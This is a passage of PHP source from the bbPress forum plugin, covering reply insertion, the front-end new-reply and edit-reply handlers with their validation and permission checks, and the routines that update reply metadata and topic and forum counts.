		update_post_meta( $reply_id, $meta_key, $meta_value );
	}

	// Update the reply and hierarchy
	bbp_update_reply( $reply_id, $reply_meta['topic_id'], $reply_meta['forum_id'], array(), $reply_data['post_author'], false, $reply_meta['reply_to'] );

	/**
	 * Fires after reply has been inserted via `bbp_insert_reply`.
	 *
	 * @since 2.6.0 bbPress (r6036)
	 *
	 * @param int $reply_id               The reply id.
	 * @param int $reply_meta['topic_id'] The reply topic meta.
	 * @param int $reply_meta['forum_id'] The reply forum meta.
	 */
	do_action( 'bbp_insert_reply', (int) $reply_id, (int) $reply_meta['topic_id'], (int) $reply_meta['forum_id'] );

	// Return reply_id
	return $reply_id;
}

/**
 * Update counts after a reply is inserted via `bbp_insert_reply`.
 *
 * @since 2.6.0 bbPress (r6036)
 *
 * @param int $reply_id The reply id.
 * @param int $topic_id The topic id.
 * @param int $forum_id The forum id.
 *
 * @return void
 */
function bbp_insert_reply_update_counts( $reply_id = 0, $topic_id = 0, $forum_id = 0 ) {

	// If the reply is public, update the reply counts.
	if ( bbp_is_reply_published( $reply_id ) ) {
		bbp_increase_topic_reply_count( $topic_id );
		bbp_increase_forum_reply_count( $forum_id );

	// If the reply isn't public only update the reply hidden counts.
	} else {
		bbp_increase_topic_reply_count_hidden( $topic_id );
		bbp_increase_forum_reply_count_hidden( $forum_id );
	}
}

/** Post Form Handlers ********************************************************/

/**
 * Handles the front end reply submission
 *
 * @since 2.0.0 bbPress (r2574)
 *
 * @param string $action The requested action to compare this function to
 *                    id, anonymous data, reply author, edit (false), and
 *                    the reply to id
 */
function bbp_new_reply_handler( $action = '' ) {

	// Bail if action is not bbp-new-reply
	if ( 'bbp-new-reply' !== $action ) {
		return;
	}

	// Nonce check
	if ( ! bbp_verify_nonce_request( 'bbp-new-reply' ) ) {
		bbp_add_error( 'bbp_new_reply_nonce', __( '<strong>Error</strong>: Are you sure you wanted to do that?', 'bbpress' ) );
		return;
	}

	// Define local variable(s)
	$topic_id = $forum_id = $reply_author = $reply_to = 0;
	$reply_title = $reply_content = $terms = '';
	$anonymous_data = array();

	/** Reply Author **********************************************************/

	// User is anonymous
	if ( bbp_is_anonymous() ) {

		// Filter anonymous data (variable is used later)
		$anonymous_data = bbp_filter_anonymous_post_data();

		// Anonymous data checks out, so set cookies, etc...
		bbp_set_current_anonymous_user_data( $anonymous_data );

	// User is logged in
	} else {

		// User cannot create replies
		if ( ! current_user_can( 'publish_replies' ) ) {
			bbp_add_error( 'bbp_reply_permission', __( '<strong>Error</strong>: You do not have permission to reply.', 'bbpress' ) );
		}

		// Reply author is current user
		$reply_author = bbp_get_current_user_id();
	}

	/** Topic ID **************************************************************/

	// Topic id was not passed
	if ( empty( $_POST['bbp_topic_id'] ) ) {
		bbp_add_error( 'bbp_reply_topic_id', __( '<strong>Error</strong>: Topic ID is missing.', 'bbpress' ) );

	// Topic id is not a number
	} elseif ( ! is_numeric( $_POST['bbp_topic_id'] ) ) {
		bbp_add_error( 'bbp_reply_topic_id', __( '<strong>Error</strong>: Topic ID must be a number.', 'bbpress' ) );

	// Topic id might be valid
	} else {

		// Get the topic id
		$posted_topic_id = intval( $_POST['bbp_topic_id'] );

		// Topic id is a negative number
		if ( 0 > $posted_topic_id ) {
			bbp_add_error( 'bbp_reply_topic_id', __( '<strong>Error</strong>: Topic ID cannot be a negative number.', 'bbpress' ) );

		// Topic does not exist
		} elseif ( ! bbp_get_topic( $posted_topic_id ) ) {
			bbp_add_error( 'bbp_reply_topic_id', __( '<strong>Error</strong>: Topic does not exist.', 'bbpress' ) );

		// Use the POST'ed topic id
		} else {
			$topic_id = $posted_topic_id;
		}
	}

	/** Forum ID **************************************************************/

	// Try to use the forum id of the topic
	if ( ! isset( $_POST['bbp_forum_id'] ) && ! empty( $topic_id ) ) {
		$forum_id = bbp_get_topic_forum_id( $topic_id );

	// Error check the POST'ed forum id
	} elseif ( isset( $_POST['bbp_forum_id'] ) ) {

		// Empty Forum id was passed
		if ( empty( $_POST['bbp_forum_id'] ) ) {
			bbp_add_error( 'bbp_reply_forum_id', __( '<strong>Error</strong>: Forum ID is missing.', 'bbpress' ) );

		// Forum id is not a number
		} elseif ( ! is_numeric( $_POST['bbp_forum_id'] ) ) {
			bbp_add_error( 'bbp_reply_forum_id', __( '<strong>Error</strong>: Forum ID must be a number.', 'bbpress' ) );

		// Forum id might be valid
		} else {

			// Get the forum id
			$posted_forum_id = intval( $_POST['bbp_forum_id'] );

			// Forum id is empty
			if ( 0 === $posted_forum_id ) {
				bbp_add_error( 'bbp_topic_forum_id', __( '<strong>Error</strong>: Forum ID is missing.', 'bbpress' ) );

			// Forum id is a negative number
			} elseif ( 0 > $posted_forum_id ) {
				bbp_add_error( 'bbp_topic_forum_id', __( '<strong>Error</strong>: Forum ID cannot be a negative number.', 'bbpress' ) );

			// Forum does not exist
			} elseif ( ! bbp_get_forum( $posted_forum_id ) ) {
				bbp_add_error( 'bbp_topic_forum_id', __( '<strong>Error</strong>: Forum does not exist.', 'bbpress' ) );

			// Use the POST'ed forum id
			} else {
				$forum_id = $posted_forum_id;
			}
		}
	}

	// Forum exists
	if ( ! empty( $forum_id ) ) {

		// Forum is a category
		if ( bbp_is_forum_category( $forum_id ) ) {
			bbp_add_error( 'bbp_new_reply_forum_category', __( '<strong>Error</strong>: This forum is a category. No replies can be created in this forum.', 'bbpress' ) );

		// Forum is not a category
		} else {

			// Forum is closed and user cannot access
			if ( bbp_is_forum_closed( $forum_id ) && ! current_user_can( 'edit_forum', $forum_id ) ) {
				bbp_add_error( 'bbp_new_reply_forum_closed', __( '<strong>Error</strong>: This forum has been closed to new replies.', 'bbpress' ) );
			}

			// Forum is private and user cannot access
			if ( bbp_is_forum_private( $forum_id ) && ! current_user_can( 'read_forum', $forum_id ) ) {
				bbp_add_error( 'bbp_new_reply_forum_private', __( '<strong>Error</strong>: This forum is private and you do not have the capability to read or create new replies in it.', 'bbpress' ) );

			// Forum is hidden and user cannot access
			} elseif ( bbp_is_forum_hidden( $forum_id ) && ! current_user_can( 'read_forum', $forum_id ) ) {
				bbp_add_error( 'bbp_new_reply_forum_hidden', __( '<strong>Error</strong>: This forum is hidden and you do not have the capability to read or create new replies in it.', 'bbpress' ) );
			}
		}
	}

	/** Unfiltered HTML *******************************************************/

	// Remove kses filters from title and content for capable users and if the nonce is verified
	if ( current_user_can( 'unfiltered_html' ) && ! empty( $_POST['_bbp_unfiltered_html_reply'] ) && wp_create_nonce( 'bbp-unfiltered-html-reply_' . $topic_id ) === $_POST['_bbp_unfiltered_html_reply'] ) {
		remove_filter( 'bbp_new_reply_pre_title',   'wp_filter_kses'      );
		remove_filter( 'bbp_new_reply_pre_content', 'bbp_encode_bad',  10 );
		remove_filter( 'bbp_new_reply_pre_content', 'bbp_filter_kses', 30 );
	}

	/** Reply Title ***********************************************************/

	if ( ! empty( $_POST['bbp_reply_title'] ) ) {
		$reply_title = sanitize_text_field( $_POST['bbp_reply_title'] );
	}

	// Filter and sanitize
	$reply_title = apply_filters( 'bbp_new_reply_pre_title', $reply_title );

	// Title too long
	if ( bbp_is_title_too_long( $reply_title ) ) {
		bbp_add_error( 'bbp_reply_title', __( '<strong>Error</strong>: Your title is too long.', 'bbpress' ) );
	}

	/** Reply Content *********************************************************/

	if ( ! empty( $_POST['bbp_reply_content'] ) ) {
		$reply_content = $_POST['bbp_reply_content'];
	}

	// Filter and sanitize
	$reply_content = apply_filters( 'bbp_new_reply_pre_content', $reply_content );

	// No reply content
	if ( empty( $reply_content ) ) {
		bbp_add_error( 'bbp_reply_content', __( '<strong>Error</strong>: Your reply cannot be empty.', 'bbpress' ) );
	}

	/** Reply Flooding ********************************************************/

	if ( ! bbp_check_for_flood( $anonymous_data, $reply_author ) ) {
		bbp_add_error( 'bbp_reply_flood', __( '<strong>Error</strong>: Slow down; you move too fast.', 'bbpress' ) );
	}

	/** Reply Duplicate *******************************************************/

	if ( ! bbp_check_for_duplicate( array( 'post_type' => bbp_get_reply_post_type(), 'post_author' => $reply_author, 'post_content' => $reply_content, 'post_parent' => $topic_id, 'anonymous_data' => $anonymous_data ) ) ) {
		bbp_add_error( 'bbp_reply_duplicate', __( '<strong>Error</strong>: Duplicate reply detected; it looks as though you&#8217;ve already said that.', 'bbpress' ) );
	}

	/** Reply Bad Words *******************************************************/

	if ( ! bbp_check_for_moderation( $anonymous_data, $reply_author, $reply_title, $reply_content, true ) ) {
		bbp_add_error( 'bbp_reply_moderation', __( '<strong>Error</strong>: Your reply cannot be created at this time.', 'bbpress' ) );
	}

	/** Reply Status **********************************************************/

	// Maybe put into moderation
	if ( bbp_is_topic_pending( $topic_id ) || ! bbp_check_for_moderation( $anonymous_data, $reply_author, $reply_title, $reply_content ) ) {
		$reply_status = bbp_get_pending_status_id();

	// Default
	} else {
		$reply_status = bbp_get_public_status_id();
	}

	/** Reply To **************************************************************/

	// Handle Reply To of the reply; $_REQUEST for non-JS submissions
	if ( isset( $_REQUEST['bbp_reply_to'] ) ) {
		$reply_to = bbp_validate_reply_to( $_REQUEST['bbp_reply_to'] );
	}

	/** Topic Closed **********************************************************/

	// If topic is closed, moderators can still reply
	if ( bbp_is_topic_closed( $topic_id ) && ! current_user_can( 'moderate', $topic_id ) ) {
		bbp_add_error( 'bbp_reply_topic_closed', __( '<strong>Error</strong>: Topic is closed.', 'bbpress' ) );
	}

	/** Topic Tags ************************************************************/

	// Either replace terms
	if ( bbp_allow_topic_tags() && current_user_can( 'assign_topic_tags', $topic_id ) && ! empty( $_POST['bbp_topic_tags'] ) ) {
		$terms = sanitize_text_field( $_POST['bbp_topic_tags'] );

	// ...or remove them.
	} elseif ( isset( $_POST['bbp_topic_tags'] ) ) {
		$terms = '';

	// Existing terms
	} else {
		$terms = bbp_get_topic_tag_names( $topic_id );
	}

	/** Additional Actions (Before Save) **************************************/

	do_action( 'bbp_new_reply_pre_extras', $topic_id, $forum_id );

	// Bail if errors
	if ( bbp_has_errors() ) {
		return;
	}

	/** No Errors *************************************************************/

	// Add the content of the form to $reply_data as an array
	// Just in time manipulation of reply data before being created
	$reply_data = apply_filters( 'bbp_new_reply_pre_insert', array(
		'post_author'    => $reply_author,
		'post_title'     => $reply_title,
		'post_content'   => $reply_content,
		'post_status'    => $reply_status,
		'post_parent'    => $topic_id,
		'post_type'      => bbp_get_reply_post_type(),
		'comment_status' => 'closed',
		'menu_order'     => bbp_get_topic_reply_count( $topic_id, true ) + 1
	) );

	// Insert reply
	$reply_id = wp_insert_post( $reply_data, true );

	/** No Errors *************************************************************/

	// Check for missing reply_id or error
	if ( ! empty( $reply_id ) && ! is_wp_error( $reply_id ) ) {

		/** Topic Tags ********************************************************/

		// Just in time manipulation of reply terms before being edited
		$terms = apply_filters( 'bbp_new_reply_pre_set_terms', $terms, $topic_id, $reply_id );

		// Insert terms
		$terms = wp_set_post_terms( $topic_id, $terms, bbp_get_topic_tag_tax_id(), false );

		// Term error
		if ( is_wp_error( $terms ) ) {
			bbp_add_error( 'bbp_reply_tags', __( '<strong>Error</strong>: There was a problem adding the tags to the topic.', 'bbpress' ) );
		}

		/** Trash Check *******************************************************/

		// If this reply starts as trash, add it to pre_trashed_replies
		// for the topic, so it is properly restored.
		if ( bbp_is_topic_trash( $topic_id ) || ( $reply_data['post_status'] === bbp_get_trash_status_id() ) ) {

			// Trash the reply
			wp_trash_post( $reply_id );

			// Only add to pre-trashed array if topic is trashed
			if ( bbp_is_topic_trash( $topic_id ) ) {

				// Get pre_trashed_replies for topic
				$pre_trashed_meta = get_post_meta( $topic_id, '_bbp_pre_trashed_replies', true );

				// Format the meta value
				$pre_trashed_replies = is_array( $pre_trashed_meta )
					? array_filter( $pre_trashed_meta )
					: array();

				// Add this reply to the end of the existing replies
				$pre_trashed_replies[] = $reply_id;

				// Update the pre_trashed_reply post meta
				update_post_meta( $topic_id, '_bbp_pre_trashed_replies', $pre_trashed_replies );
			}

		/** Spam Check ********************************************************/

		// If reply or topic are spam, officially spam this reply
		} elseif ( bbp_is_topic_spam( $topic_id ) || ( $reply_data['post_status'] === bbp_get_spam_status_id() ) ) {
			add_post_meta( $reply_id, '_bbp_spam_meta_status', bbp_get_public_status_id() );

			// Only add to pre-spammed array if topic is spam
			if ( bbp_is_topic_spam( $topic_id ) ) {

				// Get pre_spammed_replies for topic
				$pre_trashed_meta = get_post_meta( $topic_id, '_bbp_pre_spammed_replies', true );

				// Format the meta value
				$pre_spammed_replies = is_array( $pre_trashed_meta )
					? array_filter( $pre_trashed_meta )
					: array();

				// Add this reply to the end of the existing replies
				$pre_spammed_replies[] = $reply_id;

				// Update the pre_spammed_replies post meta
				update_post_meta( $topic_id, '_bbp_pre_spammed_replies', $pre_spammed_replies );
			}
		}

		/** Update counts, etc... *********************************************/

		do_action( 'bbp_new_reply', $reply_id, $topic_id, $forum_id, $anonymous_data, $reply_author, false, $reply_to );

		/** Additional Actions (After Save) ***********************************/

		do_action( 'bbp_new_reply_post_extras', $reply_id );

		/** Redirect **********************************************************/

		// Redirect to
		$redirect_to = bbp_get_redirect_to();

		// Get the reply URL
		$reply_url = bbp_get_reply_url( $reply_id, $redirect_to );

		// Allow to be filtered
		$reply_url = apply_filters( 'bbp_new_reply_redirect_to', $reply_url, $redirect_to, $reply_id );

		/** Successful Save ***************************************************/

		// Redirect back to new reply
		bbp_redirect( $reply_url );

	/** Errors ****************************************************************/

	// WP_Error
	} elseif ( is_wp_error( $reply_id ) ) {
		bbp_add_error( 'bbp_reply_error', sprintf( __( '<strong>Error</strong>: The following problem(s) occurred: %s', 'bbpress' ), $reply_id->get_error_message() ) );

	// Generic error
	} else {
		bbp_add_error( 'bbp_reply_error', __( '<strong>Error</strong>: The reply was not created.', 'bbpress' ) );
	}
}

/**
 * Handles the front end edit reply submission
 *
 * @param string $action The requested action to compare this function to
 *                    id, anonymous data, reply author, bool true (for edit),
 *                    and the reply to id
 */
function bbp_edit_reply_handler( $action = '' ) {

	// Bail if action is not bbp-edit-reply
	if ( 'bbp-edit-reply' !== $action ) {
		return;
	}

	// Define local variable(s)
	$revisions_removed = false;
	$reply = $reply_id = $reply_to = $reply_author = $topic_id = $forum_id = 0;
	$reply_title = $reply_content = $reply_edit_reason = $terms = '';
	$anonymous_data = array();

	/** Reply *****************************************************************/

	// Reply id was not passed
	if ( empty( $_POST['bbp_reply_id'] ) ) {
		bbp_add_error( 'bbp_edit_reply_id', __( '<strong>Error</strong>: Reply ID not found.', 'bbpress' ) );
		return;

	// Reply id was passed
	} elseif ( is_numeric( $_POST['bbp_reply_id'] ) ) {
		$reply_id = (int) $_POST['bbp_reply_id'];
		$reply    = bbp_get_reply( $reply_id );
	}

	// Nonce check
	if ( ! bbp_verify_nonce_request( 'bbp-edit-reply_' . $reply_id ) ) {
		bbp_add_error( 'bbp_edit_reply_nonce', __( '<strong>Error</strong>: Are you sure you wanted to do that?', 'bbpress' ) );
		return;
	}

	// Reply does not exist
	if ( empty( $reply ) ) {
		bbp_add_error( 'bbp_edit_reply_not_found', __( '<strong>Error</strong>: The reply you want to edit was not found.', 'bbpress' ) );
		return;

	// Reply exists
	} else {

		// Check users ability to create new reply
		if ( ! bbp_is_reply_anonymous( $reply_id ) ) {

			// User cannot edit this reply
			if ( ! current_user_can( 'edit_reply', $reply_id ) ) {
				bbp_add_error( 'bbp_edit_reply_permission', __( '<strong>Error</strong>: You do not have permission to edit that reply.', 'bbpress' ) );
				return;
			}

			// Set reply author
			$reply_author = bbp_get_reply_author_id( $reply_id );

		// It is an anonymous post
		} else {

			// Filter anonymous data
			$anonymous_data = bbp_filter_anonymous_post_data();
		}
	}

	// Remove kses filters from title and content for capable users and if the nonce is verified
	if ( current_user_can( 'unfiltered_html' ) && ! empty( $_POST['_bbp_unfiltered_html_reply'] ) && wp_create_nonce( 'bbp-unfiltered-html-reply_' . $reply_id ) === $_POST['_bbp_unfiltered_html_reply'] ) {
		remove_filter( 'bbp_edit_reply_pre_title',   'wp_filter_kses'      );
		remove_filter( 'bbp_edit_reply_pre_content', 'bbp_encode_bad',  10 );
		remove_filter( 'bbp_edit_reply_pre_content', 'bbp_filter_kses', 30 );
	}

	/** Reply Topic ***********************************************************/

	$topic_id = bbp_get_reply_topic_id( $reply_id );

	/** Topic Forum ***********************************************************/

	$forum_id = bbp_get_topic_forum_id( $topic_id );

	// Forum exists
	if ( ! empty( $forum_id ) && ( $forum_id !== bbp_get_reply_forum_id( $reply_id ) ) ) {

		// Forum is a category
		if ( bbp_is_forum_category( $forum_id ) ) {
			bbp_add_error( 'bbp_edit_reply_forum_category', __( '<strong>Error</strong>: This forum is a category. No replies can be created in this forum.', 'bbpress' ) );

		// Forum is not a category
		} else {

			// Forum is closed and user cannot access
			if ( bbp_is_forum_closed( $forum_id ) && ! current_user_can( 'edit_forum', $forum_id ) ) {
				bbp_add_error( 'bbp_edit_reply_forum_closed', __( '<strong>Error</strong>: This forum has been closed to new replies.', 'bbpress' ) );
			}

			// Forum is private and user cannot access
			if ( bbp_is_forum_private( $forum_id ) && ! current_user_can( 'read_forum', $forum_id ) ) {
				bbp_add_error( 'bbp_edit_reply_forum_private', __( '<strong>Error</strong>: This forum is private and you do not have the capability to read or create new replies in it.', 'bbpress' ) );

			// Forum is hidden and user cannot access
			} elseif ( bbp_is_forum_hidden( $forum_id ) && ! current_user_can( 'read_forum', $forum_id ) ) {
				bbp_add_error( 'bbp_edit_reply_forum_hidden', __( '<strong>Error</strong>: This forum is hidden and you do not have the capability to read or create new replies in it.', 'bbpress' ) );
			}
		}
	}

	/** Reply Title ***********************************************************/

	if ( ! empty( $_POST['bbp_reply_title'] ) ) {
		$reply_title = sanitize_text_field( $_POST['bbp_reply_title'] );
	}

	// Filter and sanitize
	$reply_title = apply_filters( 'bbp_edit_reply_pre_title', $reply_title, $reply_id );

	// Title too long
	if ( bbp_is_title_too_long( $reply_title ) ) {
		bbp_add_error( 'bbp_reply_title', __( '<strong>Error</strong>: Your title is too long.', 'bbpress' ) );
	}

	/** Reply Content *********************************************************/

	if ( ! empty( $_POST['bbp_reply_content'] ) ) {
		$reply_content = $_POST['bbp_reply_content'];
	}

	// Filter and sanitize
	$reply_content = apply_filters( 'bbp_edit_reply_pre_content', $reply_content, $reply_id );

	// No reply content
	if ( empty( $reply_content ) ) {
		bbp_add_error( 'bbp_edit_reply_content', __( '<strong>Error</strong>: Your reply cannot be empty.', 'bbpress' ) );
	}

	/** Reply Bad Words *******************************************************/

	if ( ! bbp_check_for_moderation( $anonymous_data, $reply_author, $reply_title, $reply_content, true ) ) {
		bbp_add_error( 'bbp_reply_moderation', __( '<strong>Error</strong>: Your reply cannot be edited at this time.', 'bbpress' ) );
	}

	/** Reply Status **********************************************************/

	// Maybe put into moderation
	if ( ! bbp_check_for_moderation( $anonymous_data, $reply_author, $reply_title, $reply_content ) ) {

		// Set post status to pending if public
		if ( bbp_get_public_status_id() === $reply->post_status ) {
			$reply_status = bbp_get_pending_status_id();
		}

	// Use existing post_status
	} else {
		$reply_status = $reply->post_status;
	}

	/** Reply To **************************************************************/

	// Handle Reply To of the reply; $_REQUEST for non-JS submissions
	if ( isset( $_REQUEST['bbp_reply_to'] ) && current_user_can( 'moderate', $reply_id ) ) {
		$reply_to = bbp_validate_reply_to( $_REQUEST['bbp_reply_to'], $reply_id );
	} elseif ( bbp_thread_replies() ) {
		$reply_to = bbp_get_reply_to( $reply_id );
	}

	/** Topic Tags ************************************************************/

	// Either replace terms
	if ( bbp_allow_topic_tags() && current_user_can( 'assign_topic_tags', $topic_id ) && ! empty( $_POST['bbp_topic_tags'] ) ) {
		$terms = sanitize_text_field( $_POST['bbp_topic_tags'] );

	// ...or remove them.
	} elseif ( isset( $_POST['bbp_topic_tags'] ) ) {
		$terms = '';

	// Existing terms
	} else {
		$terms = bbp_get_topic_tag_names( $topic_id );
	}

	/** Additional Actions (Before Save) **************************************/

	do_action( 'bbp_edit_reply_pre_extras', $reply_id );

	// Bail if errors
	if ( bbp_has_errors() ) {
		return;
	}

	/** No Errors *************************************************************/

	// Add the content of the form to $reply_data as an array
	// Just in time manipulation of reply data before being edited
	$reply_data = apply_filters( 'bbp_edit_reply_pre_insert', array(
		'ID'           => $reply_id,
		'post_title'   => $reply_title,
		'post_content' => $reply_content,
		'post_status'  => $reply_status,
		'post_parent'  => $topic_id,
		'post_author'  => $reply_author,
		'post_type'    => bbp_get_reply_post_type()
	) );

	// Toggle revisions to avoid duplicates
	if ( post_type_supports( bbp_get_reply_post_type(), 'revisions' ) ) {
		$revisions_removed = true;
		remove_post_type_support( bbp_get_reply_post_type(), 'revisions' );
	}

	// Insert reply
	$reply_id = wp_update_post( $reply_data );

	// Toggle revisions back on
	if ( true === $revisions_removed ) {
		$revisions_removed = false;
		add_post_type_support( bbp_get_reply_post_type(), 'revisions' );
	}

	/** Topic Tags ************************************************************/

	// Just in time manipulation of reply terms before being edited
	$terms = apply_filters( 'bbp_edit_reply_pre_set_terms', $terms, $topic_id, $reply_id );

	// Insert terms
	$terms = wp_set_post_terms( $topic_id, $terms, bbp_get_topic_tag_tax_id(), false );

	// Term error
	if ( is_wp_error( $terms ) ) {
		bbp_add_error( 'bbp_reply_tags', __( '<strong>Error</strong>: There was a problem adding the tags to the topic.', 'bbpress' ) );
	}

	/** No Errors *************************************************************/

	if ( ! empty( $reply_id ) && ! is_wp_error( $reply_id ) ) {

		// Update counts, etc...
		do_action( 'bbp_edit_reply', $reply_id, $topic_id, $forum_id, $anonymous_data, $reply_author , true, $reply_to );

		/** Revisions *********************************************************/

		// Update locks
		update_post_meta( $reply_id, '_edit_last', bbp_get_current_user_id() );
		delete_post_meta( $reply_id, '_edit_lock' );

		// Revision Reason
		if ( ! empty( $_POST['bbp_reply_edit_reason'] ) ) {
			$reply_edit_reason = sanitize_text_field( $_POST['bbp_reply_edit_reason'] );
		}

		// Update revision log
		if ( ! empty( $_POST['bbp_log_reply_edit'] ) && ( "1" === $_POST['bbp_log_reply_edit'] ) ) {
			$revision_id = wp_save_post_revision( $reply_id );
			if ( ! empty( $revision_id ) ) {
				bbp_update_reply_revision_log( array(
					'reply_id'    => $reply_id,
					'revision_id' => $revision_id,
					'author_id'   => bbp_get_current_user_id(),
					'reason'      => $reply_edit_reason
				) );
			}
		}

		/** Additional Actions (After Save) ***********************************/

		do_action( 'bbp_edit_reply_post_extras', $reply_id );

		/** Redirect **********************************************************/

		// Redirect to
		$redirect_to = bbp_get_redirect_to();

		// Get the reply URL
		$reply_url = bbp_get_reply_url( $reply_id, $redirect_to );

		// Allow to be filtered
		$reply_url = apply_filters( 'bbp_edit_reply_redirect_to', $reply_url, $redirect_to );

		/** Successful Edit ***************************************************/

		// Redirect back to new reply
		bbp_redirect( $reply_url );

	/** Errors ****************************************************************/

	} else {
		$append_error = ( is_wp_error( $reply_id ) && $reply_id->get_error_message() ) ? $reply_id->get_error_message() . ' ' : '';
		bbp_add_error( 'bbp_reply_error', __( '<strong>Error</strong>: The following problem(s) have been found with your reply:' . $append_error . 'Please try again.', 'bbpress' ) );
	}
}

/**
 * Handle all the extra meta stuff from posting a new reply or editing a reply
 *
 * @param int $reply_id Optional. Reply id
 * @param int $topic_id Optional. Topic id
 * @param int $forum_id Optional. Forum id
 * @param array $anonymous_data Optional - if it's an anonymous post. Do not
 *                              supply if supplying $author_id. Should be
 *                              sanitized (see {@link bbp_filter_anonymous_post_data()}
 * @param int $author_id Author id
 * @param bool $is_edit Optional. Is the post being edited? Defaults to false.
 * @param int $reply_to Optional. Reply to id
 */
function bbp_update_reply( $reply_id = 0, $topic_id = 0, $forum_id = 0, $anonymous_data = array(), $author_id = 0, $is_edit = false, $reply_to = 0 ) {

	// Validate the ID's passed from 'bbp_new_reply' action
	$reply_id = bbp_get_reply_id( $reply_id );
	$topic_id = bbp_get_topic_id( $topic_id );
	$forum_id = bbp_get_forum_id( $forum_id );
	$reply_to = bbp_validate_reply_to( $reply_to, $reply_id );

	// Bail if there is no reply
	if ( empty( $reply_id ) ) {
		return;
	}

	// Check author_id
	if ( empty( $author_id ) ) {
		$author_id = bbp_get_current_user_id();
	}

	// Check topic_id
	if ( empty( $topic_id ) ) {
		$topic_id = bbp_get_reply_topic_id( $reply_id );
	}

	// Check forum_id
	if ( ! empty( $topic_id ) && empty( $forum_id ) ) {
		$forum_id = bbp_get_topic_forum_id( $topic_id );
	}

	// If anonymous post, store name, email, website and ip in post_meta.
	if ( ! empty( $anonymous_data ) ) {

		// Update anonymous meta data (not cookies)
		bbp_update_anonymous_post_author( $reply_id, $anonymous_data, bbp_get_reply_post_type() );

		// Set transient for throttle check (only on new, not edit)
		if ( empty( $is_edit ) ) {
			set_transient( '_bbp_' . bbp_current_author_ip() . '_last_posted', time(), HOUR_IN_SECONDS );
		}
	}

	// Handle Subscription Checkbox
	if ( bbp_is_subscriptions_active() && ! empty( $author_id ) && ! empty( $topic_id ) ) {

		// Check if subscribed
		$subscribed = bbp_is_user_subscribed( $author_id, $topic_id );

		// Check for action
		$subscheck  = ( ! empty( $_POST['bbp_topic_subscription'] ) && ( 'bbp_subscribe' === $_POST['bbp_topic_subscription'] ) )
			? true
			: false;

		// Subscribed and unsubscribing
		if ( ( true === $subscribed ) && ( false === $subscheck ) ) {
			bbp_remove_user_subscription( $author_id, $topic_id );

		// Not subscribed and subscribing
		} elseif ( ( false === $subscribed ) && ( true === $subscheck ) ) {
			bbp_add_user_subscription( $author_id, $topic_id );
		}
	}

	// Reply meta relating to reply position in tree
	bbp_update_reply_forum_id( $reply_id, $forum_id );
	bbp_update_reply_topic_id( $reply_id, $topic_id );
	bbp_update_reply_to      ( $reply_id, $reply_to );

	// Update associated topic values if this is a new reply
	if ( empty( $is_edit ) ) {

		// Update poster activity time
		bbp_update_user_last_posted( $author_id );

		// Update poster IP
		update_post_meta( $reply_id, '_bbp_author_ip', bbp_current_author_ip(), false );

		// Last active time
		$last_active_time = get_post_field( 'post_date', $reply_id );

		// Walk up ancestors and do the dirty work
		bbp_update_reply_walker( $reply_id, $last_active_time, $forum_id, $topic_id, false );
	}

	// Bump the custom query cache
	wp_cache_set( 'last_changed', microtime(), 'bbpress_posts' );
}

/**
 * Walk up the ancestor tree from the current reply, and update all the counts
 *
 * @since 2.0.0 bbPress (r2884)
 *
 * @param int $reply_id Optional. Reply id
 * @param string $last_active_time Optional. Last active time
 * @param int $forum_id Optional. Forum id
 * @param int $topic_id Optional. Topic id
 * @param bool $refresh If set to true, unsets all the previous parameters.
 *                       Defaults to true
 */
function bbp_update_reply_walker( $reply_id, $last_active_time = '', $forum_id = 0, $topic_id = 0, $refresh = true ) {

	// Verify the reply ID
	$reply_id = bbp_get_reply_id( $reply_id );

	// Reply was passed
	if ( ! empty( $reply_id ) ) {

		// Get the topic ID if none was passed
		if ( empty( $topic_id ) ) {
			$topic_id = bbp_get_reply_topic_id( $reply_id );
		}

		// Get the forum ID if none was passed
		if ( empty( $forum_id ) ) {
			$forum_id = bbp_get_reply_forum_id( $reply_id );
		}
	}

	// Set the active_id based on topic_id/reply_id
	$active_id = empty( $reply_id ) ? $topic_id : $reply_id;

	// Setup ancestors array to walk up
	$ancestors = array_values( array_unique( array_merge( array( $topic_id, $forum_id ), (array) get_post_ancestors( $topic_id ) ) ) );

	// If we want a full refresh, unset any of the possibly passed variables
	if ( true === $refresh ) {
		$forum_id = $topic_id = $reply_id = $active_id = $last_active_time = 0;
	}

	// Walk up ancestors
	if ( ! empty( $ancestors ) ) {
		foreach ( $ancestors as $ancestor ) {

			// Reply meta relating to most recent reply
			if ( bbp_is_reply( $ancestor ) ) {
				// @todo - hierarchical replies

			// Topic meta relating to most recent reply
			} elseif ( bbp_is_topic( $ancestor ) ) {

				// Only update if reply is published
				if ( ! bbp_is_reply_pending( $reply_id ) ) {

					// Last reply and active ID's
					bbp_update_topic_last_reply_id ( $ancestor, $reply_id  );
					bbp_update_topic_last_active_id( $ancestor, $active_id );

					// Get the last active time if none was passed
					$topic_last_active_time = $last_active_time;
					if ( empty( $last_active_time ) ) {
						$topic_last_active_time = get_post_field( 'post_date', bbp_get_topic_last_active_id( $ancestor ) );
					}

					bbp_update_topic_last_active_time( $ancestor, $topic_last_active_time );
				}

				// Only update reply count if we've deleted a reply
				if ( in_array( current_filter(), array( 'bbp_deleted_reply', 'save_post' ), true ) ) {
					bbp_update_topic_reply_count(        $ancestor );
					bbp_update_topic_reply_count_hidden( $ancestor );
					bbp_update_topic_voice_count(        $ancestor );
				}

			// Forum meta relating to most recent topic
			} elseif ( bbp_is_forum( $ancestor ) ) {

				// Only update if reply is published
				if ( ! bbp_is_reply_pending( $reply_id ) && ! bbp_is_topic_pending( $topic_id ) ) {

					// Last topic and reply ID's
					bbp_update_forum_last_topic_id( $ancestor, $topic_id );
					bbp_update_forum_last_reply_id( $ancestor, $reply_id );

					// Last Active
					bbp_update_forum_last_active_id( $ancestor, $active_id );

					// Get the last active time if none was passed
					$forum_last_active_time = $last_active_time;
					if ( empty( $last_active_time ) ) {
						$forum_last_active_time = get_post_field( 'post_date', bbp_get_forum_last_active_id( $ancestor ) );
					}

					bbp_update_forum_last_active_time( $ancestor, $forum_last_active_time );
				}

				// Only update reply count if we've deleted a reply
				if ( in_array( current_filter(), array( 'bbp_deleted_reply', 'save_post' ), true ) ) {
					bbp_update_forum_reply_count( $ancestor );
				}
			}
		}
	}
}

/** Reply Updaters ************************************************************/

/**
 * Update the reply with its forum id it is in
 *
 * @since 2.0.0 bbPress (r2855)
 *
 * @param int $reply_id Optional. Reply id to update
 * @param int $forum_id Optional. Forum id
 * @return bool The forum id of the reply
 */
function bbp_update_reply_forum_id( $reply_id = 0, $forum_id = 0 ) {

	// Validation
	$reply_id = bbp_get_reply_id( $reply_id );
